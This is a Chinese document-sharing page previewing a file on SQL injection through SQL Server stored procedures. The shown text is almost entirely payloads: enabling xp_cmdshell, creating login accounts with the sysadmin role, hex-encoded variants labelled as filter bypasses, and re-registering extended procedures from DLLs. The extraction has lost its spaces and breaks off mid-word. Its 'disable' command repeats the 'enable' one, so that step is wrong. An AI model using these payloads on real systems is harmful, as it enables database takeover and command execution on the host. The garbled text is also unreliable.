欢迎来到天天文库
浏览记录
ID:34726279
大小:119.68 KB
页数:11页
时间:2019-03-10
《sql高级注入使用之存储过程》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库。
1、SQL高级注入使用之存储过程以下这都是我们老师给我的学习资料呵呵!!其实我也有的看不懂,给朋友们中的一些高手看看!我还是菜鸟呢-_-!。。。。。。sql2005恢复xp_cmdshellEXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;关闭:EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGUR
2、E;零、-----------------添加SA用户-----------------&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&1、execmaster.dbo.sp_addloginsystem;2、execmaster.dbo.sp_addloginsystem,system;3、execmaster.dbo.sp_addsrvrolememberitpro,sysadmin&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&防
3、注入sa:itpropass:itprodeclare@svarchar(4000)set@s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e20697470726fasvarchar(4000));exec(@s);declare@cvarchar(4000)set@c=cast(0x65786563206d61737465722e64626f2e73705f70617373776f7264206e756c6c2c697470726f2c697470726fasvarchar(4000))
4、;exec(@c);declare@avarchar(4000)set@a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d6265722027697470726f272c2073797361646d696easvarchar(4000));exec(@a);--and1=1防注入sa:systempass:systemdeclare@svarchar(4000)set@s=cast(0x65786563206d61737465722e64626f2e73705f61646
5、46c6f67696e2073797374656d2c73797374656dasvarchar(4000));exec(@s);declare@avarchar(4000)set@a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d626572202773797374656d272c2073797361646d696easvarchar(4000));exec(@a);--and1=1一、---------------恢复存储过程---------------&&&&&&
6、&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&usemasterexecsp_addextendedprocxp_cmdshell,'xp_cmdshell.dll'execsp_dropextendedproc"xp_cmdshell"execsp_addextendedproc'xp_cmdshell','xpsql70.dll'execsp_dropextendedproc'xp_cmdshell'execsp_addextendedproc'xp_cmdshell','xpweb70.dll'execs
7、p_addextendedprocxp_dirtree,'xpstar.dll'execsp_addextendedprocxp_enumgroups,'xplog70.dll'execsp_addextendedprocxp_fixeddrives,'xpstar.dll'execsp_addextendedprocxp_loginconfig,'xplog70.dll'execsp_addextendedprocxp_enumerrorlogs,'xpstar.dll'execsp_addextendedprocxp_getfiledetails,'xpst
此文档下载收益归作者所有